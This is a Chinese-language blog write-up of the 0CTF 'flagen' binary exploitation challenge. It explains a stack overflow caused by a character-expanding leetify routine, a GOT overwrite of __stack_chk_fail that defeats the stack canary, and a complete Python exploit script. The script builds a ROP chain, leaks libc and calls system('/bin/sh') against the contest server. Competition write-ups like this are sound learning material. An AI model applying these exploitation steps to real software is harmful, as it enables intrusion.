0ctf flagen writeup

原创

ling13579 于 2015-04-12 20:52:56 发布 1784 收藏

溢出点：

在*leetify*的处理中，程序将*h*转化为*1-1*，一个字符变成了三个字符。但是空间没有增加，存在栈溢出。

利用：

程序有栈*canary*保护，最开始想着找方法泄露出*canary*。看栈上有残留的*canary*存在，然后就使劲找泄露方法，奈何所有的处理函数中，字符串的末尾都添加上了*\x00*，因此没办法泄露。

后来考虑栈溢出能覆盖些什么。栈*canary*、返回值、函数参数。函数的参数刚好是一个指向堆的数据指针。而在溢出之后，返回之前，进行了一次拷贝操作。

```
*v15 = 0;
strcpy(dest, &src);
return *MK_FP(__GS__, 20) ^ v18;
```


如果修改掉*dest*值，那么就可以利用*strcpy*改写新*dest*处的一块内存。考虑用这个去改写*got*表中的*__stack_chk_fail*。

改写*__stack_chk_fail*后，程序即时检测到*cookie*改写，也依然不会退出，依然正常返回。这样，就变成了一个没有*canary*保护的栈溢出，构造一个*rop*链即可。

完整脚本如下：

```
#encoding:utf-8
from convert import *
import telnetlib
#ip = '192.168.194.129'
#port = 1234

ip = '202.112.26.106'
port = 5149


t = telnetlib.Telnet(ip, port)

def stop():
    raw_input('pause')

put_got = 0x0804b010
put_glt = 0x08048510
print_glt = 0x08048516
pop_ret = 0x08048481
payload = l32(put_got)+l32(put_glt)+l32(0x080484F6)+l32(0x08048506)+l32(0x080484b6)+l32(0x08048526)+ \
          l32(0x08048536) + l32(0x08048546) + l32(0x08048556) + l32(0x08048566)

#232
#print 272-len(payload)
format = '%p'
num_h = ((272-len(payload)-1 - 21))/3
num_a = 22 - len(format)

#ret_addr = 0x08048C80
alarm_got = 0x0804B018
```

```
pop_pop_pop_ret = 0x0804847E
pop_ebp_ret = 0x08048B01
read_buf = 0x080486CB

#payload = payload + format + num_a*'a'+num_h*'h'+l32(ret_addr)+l32(alarm_got)
payload = payload + format + num_a*'a'+num_h*'h'+l32(pop_ret)+l32(alarm_got)
payload += l32(put_glt) + l32(pop_ret) + l32(put_got)
buff = 0x0804b508
size = put_got
leave_ret = 0x08048A6E
payload += l32(read_buf) + l32(pop_pop_pop_ret) + l32(buff) + l32(size) + 'a'*4
payload += l32(pop_ebp_ret) + l32(buff)
payload += l32(leave_ret)+'12345'

def input_flag():
    t.read_until('choice:')
    t.write('1\n')
    t.write(payload+'\n')

def leatity():
    t.read_until('choice:')
    t.write('4\n')

def exp():
    stop()
    input_flag()
    leatity()
    t.read_until('12345\n')
    put_addr = l32(t.read_until('12345')[0:4])
    base = put_addr - 0x00065650
    print hex(put_addr)
    system = base + 0x00040190
    binsh = base + 0x00160A24
    shell = '1234'+l32(system)+'5678'+l32(binsh)+'\n'
    t.write(shell)

    t.interact()

exp()
```